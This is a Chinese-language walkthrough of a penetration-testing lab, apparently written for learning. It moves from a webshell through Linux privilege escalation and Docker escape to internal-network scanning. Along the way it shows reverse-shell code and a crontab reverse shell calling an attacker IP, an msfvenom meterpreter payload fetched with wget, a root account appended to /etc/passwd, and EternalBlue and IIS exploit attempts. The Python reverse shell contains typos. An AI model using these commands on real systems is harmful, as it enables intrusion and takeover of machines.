(因是为了提升内网渗透能力,加上我环境存在一些问题,就没有按照正常的webshell上传,在此跳过webshell上传部分)
(上传Lineunm.sh, 进行信息收集)
连上上传的webshell

发现权限为www,想办法提权
内核漏洞提权
优先查看系统是否存在内核漏洞
#查看发行版本
cat /etc/issue
cat /etc/*-release
#查看内核版本
uname -a

在这里可以看到,发行版本是ubuntu 18.04.3
使用漏洞搜索工具-SearchSploit查看版本存在的漏洞(一般用kali)
先更新:
searchsploit -u

然后开始查询:

并没有查到
(这里介绍一下searchsploit的使用方法)
#查询指定程序或系统的漏洞
searchsploit 程序名 (版本号,可选)
#查询脚本或代码信息
searchsploit -m 路径
#C语言
gcc xxx.c -o exploit
chmod +x exploit
./exploit
#脚本查询对应用法使用
./xxx/xxx/xxx.sh
明文root密码提权
大多linux系统的密码都和/etc/passwd
、/etc/shadow
这两个配置文件相关的;passwd里面储存了用户,shadow里面是密码的hash;且passwd是全用户可读,root可写。shadow是仅root可以进行读写的。
破解linux用户名和对应的密码

可以发现cat /etc/passwd能够查看,cat /etc/shadow无权查看,该办法也行不通,但是可以得知当前机器所有用户名
查看开放端口:netstat -aptn

ssh等端口并没有开放
计划任务
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,如果刚好遇到一个把其中脚本配置成可以任意用户可写的,这个时候就可以修改脚本等回连rootshell;如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
查看/etc/crontab时,没有可写权限

密码复用
很多管理员会重读使用密码,因此数据库或者web后台的密码也许就是root密码。
有了疑似root密码,第一时间想到ssh登录,但是ssh很可能禁止root登录,或者是防火墙规则等因素排除。之前已经得到一个低权限的shell,但是直接在低权限里使用sudo是不奏效的。出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端:
python3 -c "import pty;pty.spawn('/bin/bash')"

成功启动虚拟终端(但是ssh端口并没有开放,所以这个方法也行不通)
SUID提权
原理:如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限
利用:
find / -perm -u=s -type f 2>/dev/null
perm指定权限,-u=s代表SUID权限,type指定文件类型,f表示常规文件。
find test -exec "whoami" /;

可以看到,find是root权限,提权成功
使用kali的msfvenom生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.106 lport=11111 -f elf > L.elf

将文件上传至靶机中,并且设置权限chmod +x L.elf
然后kali使用msfconsole连接
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 11111
exploit
然后再使用find提权并运行靶机中的mshell.elf
find test -exec ./L.elf \;

(如果报错terminated by signal 11 则代表kali端生成文件存在问题或者kali监听的payload存在问题)
接下来进行docker逃逸
连上msf会话后
先用getuid查看权限,如若权限低,可以尝试getsystem提权
然后使用shell命令进入交互式shell,

首先先添加一个root权限的用户
使用openssl生成加密密码
openssl passwd -1 -salt ying admin@123得到:$1$ying$hSmAJ2ZHwfZ765Tb9.C5g1
echo 'ying:上面生成的结果:0:0:root:/root:/bin/bash' >> /etc/passwd
也就是:
echo 'ying:$1$ying$hSmAJ2ZHwfZ765Tb9.C5g1:0:0:root:/root:/bin/bash' >> /etc/passwd

然后创建交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
su ying
# 输入密码

现在开始docker逃逸
#创建目录
mkdir /ying
# 把宿主机目录挂载到ying目录
mount /dev/sda1 /ying
# 改变根目录为/ying
chroot /ying


反弹宿主机shell(docker逃逸这一部分利用的漏洞都不一样,需要学习一下)
NC反弹(kali):
nc -lvvp 11112
(靶机)
echo '/bin/bash -i >& bash -i >&/dev/tcp/192.168.0.106/11112 0>&1' > /tmp/sec.sh && chmod +x /tmp/sec.sh && cat /tmp/sec.sh && echo '*/1 * * * * root bash /tmp/sec.sh' >>/etc/crontab
成功反弹shell(这个需要等个几秒钟才能反弹)

接下来需要上线msf:
通过wget 下载
先在kali上搭建一个http服务
python -m http.server 11113

wget http://192.168.0.106:11113/L.elf

添加权限,并运行chmod +x L.elf
./L.elf
成功上线

使用shell
使用伪终端查看当前主机的各种信息
python3 -c 'import pty; pty.spawn("/bin/bash")'

获取到了flag,但我仅为了学习内网渗透,所以我不会刻意去寻找flag
使用msf上传文件,进一步渗透,一般是上传fscan
upload 需要上传的文件路径 宿主机的路径

这里把fscan上传了

修改权限,准备对内网进行漏扫
先查看存在哪些网段
192.168.0.101是模拟的互联网,内网ip则为192.168.59.138,

开始使用fscan扫描:
-h host主机 -np 不进行端口扫描(只进行服务的扫描) -no 不输出详细信息 -nopoc不执行poc扫描
./fscan -h 192.168.59.0/24 -np -no -nopoc

发现MS17-010有俩,一个是win7 一个是win2003
msf 设置代理扫描内网
添加路由
run get_local_subnets
run autoroute -s 192.168.59.0 255.255.255.0
run autoroute -p
#解释:
#run get_local_subnets
#列出目标主机上当前可以访问的所有子网,显示的是主机访问的网段范围
#run autoroute -s 192.168.59.0 255.255.255.0
#MSF中台南佳一条路由规则,表面msf可与通过当前会话访问子网192.168.59.0/24
#run autoroute -p 启用持久性路由,即使会话背景化,路由规则依旧有效,不会因为会话的切换而丢失路由。

启用代理 使用VERSION 5
background
use auxiliary/server/socks_proxy
run
#(sessions -l 查看会话)(sessions -i id恢复会话)
#background 将当前的msf会话后台,这样可以不关闭当前会话进行其他操作。
#use auxiliary/server/socks_proxy 选择并使用sockes_proxy模块,该模块是一个socksdialing服务器
#run 启用socks代理服务器,默认监听127.0.0.1 1080端口

设置kali的/etc/proxychains4.conf文件
sudo vi /etc/proxychains4.conf
#添加:
socks5 127.0.0.1 1080
#接下来的所有工具想要访问目标内网,都需要加上proxychains代理
准备开始攻击ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set lport 11120
set rhosts 192.168.59.144
run

144的是32位系统,改一下利用
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.59.144
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 11130
run

虽然步骤都成功了,但是在最后的会话建立上失败了,还是没办法利用
还有一个197,197的是64的,尝试利用


步骤基本上都成功了,但是最后并没有建立会话,所有还是没法利用起来
在fscan中有扫描到192.168.59.144中有一个web网站

通过curl后,发现是IIS

尝试寻找IIS的漏洞,例如https://github.com/zcgonvh/cve-2017-7269
先下载到kali中,然后复制到路径:
cp cve-2017-7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis


(这里要提醒一下,msf无法是识别- 需要改成cve_2017_7269,并且,复制后需要重新连接msf)
使用漏洞
use exploit/windows/iis/cve_2017_7269
查看需要的配置
show options

设置httphost(网站主机),rhost(目标主机),rport(目标端口),payload(反弹shell)

不知道为什么,这个洞我利用不起来,换了好几个cve.rb了,算了,反正这个进去之后也结束了,目前查阅的相关教程也只有这一种方法,就当渗透结束了。